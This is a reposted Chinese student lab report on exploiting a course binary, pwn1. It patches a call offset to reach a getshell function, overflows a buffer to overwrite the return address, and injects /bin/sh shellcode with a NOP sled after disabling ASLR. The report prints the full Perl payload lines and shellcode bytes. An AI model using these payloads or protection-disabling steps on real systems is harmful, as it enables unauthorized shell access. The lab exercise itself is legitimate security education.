Exp1 PC平台逆向破解(5)M
Exp1 PC平臺逆向破解(5)M
實踐內容
本程序還包含了另一個代碼片段getshell,會返回一個可用的shell值,在正常的執行狀況中該段代碼不會被執行,而我們此次實踐的內容就是對可執行文件進行攻擊,從而讓程序執行到此段代碼。
實踐要求
實踐基礎知識:
(1)NOP指令即“空指令”(機器碼:90)。執行到NOP指令時,CPU什么也不做,僅僅當做一個指令執行過去并繼續執行NOP后面的一條指令。所以NOP指令自然也會占用執行一個指令的CPU時間片。
(2)JNE是一個條件轉移指令(機器碼:75)。當ZF=0,轉至標號處執行。
(3)JE是一個條件轉移指令(機器碼:74)。如果相等則跳轉。
(4)JMP是無條件轉移指令。段內直接短轉Jmp short(機器碼:EB)段內直接近轉移Jmp near(機器碼:E9)段內間接轉移Jmp word(機器碼:FF)段間直接(遠)轉移Jmp far(機器碼:EA)
(5)CMP為比較指令,功能相當于減法指令,只是對操作數之間運算比較,不保存結果(機器碼:39)。cmp指令執行后,將對標志寄存器產生影響。其他相關指令通過識別這些被影響的標志寄存器位來得知比較結果。
實踐過程
本次實踐有三種實現方式
注入一個自己制作的shellcode并運行這段shellcode。
手工修改可執行文件
再動手之前應該知道反匯編指令是
動手之前應該準備好32位的執行環境
64位Kali無法順利執行pwn1問題的解決方案
開始實踐
- 對pwn1進行備份并將副本命名為自己學號"20155329"并用副本進行實踐。 使用cp 命令進行復制,例如cp pwn1 20155329
- 對可執行文件進行反匯編
由反匯編結果可以看出
圖一
e8后的綠色部分為抵用的foo函數的偏移地址。
圖二
getshell的地址是0804847d。
綜上所述
- foo函數的地址為08048291,getshellh函數的地址為0804847d,用16進制的減法我們可以精確的算出getshell比foo低了14,也就在原來的基礎上減去14即可。而在linux環境下,采用小端存儲的方式,也就是說d7為低位,就是說將到d7減去14即可,也就是變成c3。,我們使用vim編輯器對地址進行修改。
- 使用vim打開可執行文件20155329
- 此時文本為亂碼,用“%!xxd”指令將文本轉換成16進制文件來進行操作。
**修改偏移地址后,使用“%!xxd -r”將16進制文件轉換成原文件保存退出。
運行可執行文件20155329
通過構造輸入參數,造成BOF攻擊,改變程序執行流
- 在實踐一的基礎上來進行實踐二
大致思路是找到返回堆棧地址,gets hell將此地址覆蓋,使程序執行getshell段的代碼
使用gdb確定輸入字符串哪幾個字符會覆蓋到返回地址
- 如果輸入字符串2015532922222222333333334444444412345678,那 4444 那四個數最終會覆蓋到堆棧上的返回地址,進而CPU會嘗試運行這個位置的代碼。那只要把這四個字符替換為 getShell 的內存地址,輸給pwn1,pwn1就會運行getShell。
- 在實踐一中知道getshell的地址是0804847d
getShell的內存地址,在未啟用ALSR的主機上是固定不變的,通過反匯編時可以看到,即 0x804847d 。接下來要確認下字節序,簡單說是輸入 11111111222222223333333344444444\x08\x04\x84\x7d ,還是輸入 11111111222222223333333344444444\x7d\x84\x04\x08 。
對比之前 eip 0x34333231 0x34333231 ,正確應用輸入11111111222222223333333344444444\x7d\x84\x04\x08。確定輸入 11111111222222223333333344444444\x7d\x84\x04\x08來覆蓋返回值。
構造輸入字符串
由為我們沒法通過鍵盤輸入 \x7d\x84\x04\x08 這樣的16進制值,所以先生成包括這樣字符串的一個文件。\x0a表示回車,如果沒有的話,在程序運行時就需要手工按一下回車鍵。
利用Perl構建input文件進行輸入,鍵入指令 perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
注入Shellcode并執行
準備一段Shellcode
- Shellcode實際是一段代碼(也可以是填充數據),是用來發送到服務器利用特定漏洞的代碼,一般可以獲取權限。另外,Shellcode一般是作為數據發送給受攻擊服務器的。 Shellcode是溢出程序和蠕蟲病毒的核心,提到它自然就會和漏洞聯想在一起,畢竟Shellcode只對沒有打補丁的主機有用武之地。網絡上數以萬計帶著漏洞頑強運行著的服務器給hacker和Vxer豐盛的晚餐。漏洞利用中最關鍵的是Shellcode的編寫
準備工作
execstack -s pwn1 //設置堆棧可執行execstack -q pwn1//查詢文件的堆棧是否可執行 X pwn1more /proc/sys/kernel/randomize_va_space 2 echo "0" > /proc/sys/kernel/randomize_va_space //關閉地址隨機化more /proc/sys/kernel/randomize_va_space 0此處可參考緩沖區溢出實驗學習
構造要注入的payload。
結構為:nops+shellcode+retaddr。
nop一為是了填充,二是作為“著陸區/滑行區”。
我們猜的返回地址只要落在任何一個nop上,自然會滑到我們的shellcode。
- 注意結構
- 接下來尋找retaddr的地址了
- 此時知道我們的結構是:anything+retaddr+nops+shellcode。
- 所以shellcode緊挨著retaddr地址,所以shell code地址位0xffffd3ac+4 = 0xffffd3b0
- perl -e 'print "A" x 32;print "\x20\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\xb0\xd3\xff\xff\x00"' > input_shellcode
- 成功了
-
實驗中遇見的問題
共享文件夾無法正常使用
重新安裝 VMware tools
安裝32位的運行庫時出現問題
問題:無法獲得鎖 /var/lib/dpkg/lock - open (11: 資源暫時不可用)
E: 無法鎖定管理目錄(/var/lib/dpkg/),是否有其他進程正占用它?”- 解決辦法:
- sudo rm /var/cache/apt/archives/lock
sudo rm /var/lib/dpkg/lock
問題:關于更多Shellcode的知識,請參考Shellcode基礎。Shellcode基礎無法打開
實驗收獲和感想
- 收獲:本次實驗中學習了匯編相關知識,做到了能看懂基本匯編指令,地址的運算gdb調試。大概就是這些吧。
感想,本次實驗開始就遇見了大問題,在環境的搭建上出了好多問題,雖然都解決了,但是也花費了大部分的時間,在裝vmtools的時候聽信了安裝一直回車,導致后面的共享文件夾無法使用等問題,重新安裝也是同樣的問題,重啟后又不能使用,最后還是找到一個和我遇見同樣問題的大佬,看完他的博客,去添加源,更新源,安裝之后解決了這一問題 。所以說還是要細心細心再細心才能減少之后的麻煩。
什么是漏洞?漏洞有什么危害?
什么是漏洞
- 漏洞是設計人員在設計過程中遺留下來 的一些缺陷,往往被不法分子利用,進 行攻擊。所以一個程序越大,可能出現的漏洞就越多。- 漏洞有什么危害
- 漏洞往往被不法分子利用,攻擊用戶計算機,非法獲取,篡改,刪除數據。反正就是做一些損人利己的事情,甚至損人不利己的事。
轉載于:https://www.cnblogs.com/hpl20155329/p/8533295.html
總結
以上是生活随笔為你收集整理的Exp1 PC平台逆向破解(5)M的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: php实现二叉树
- 下一篇: 云阳武警中队在哪里?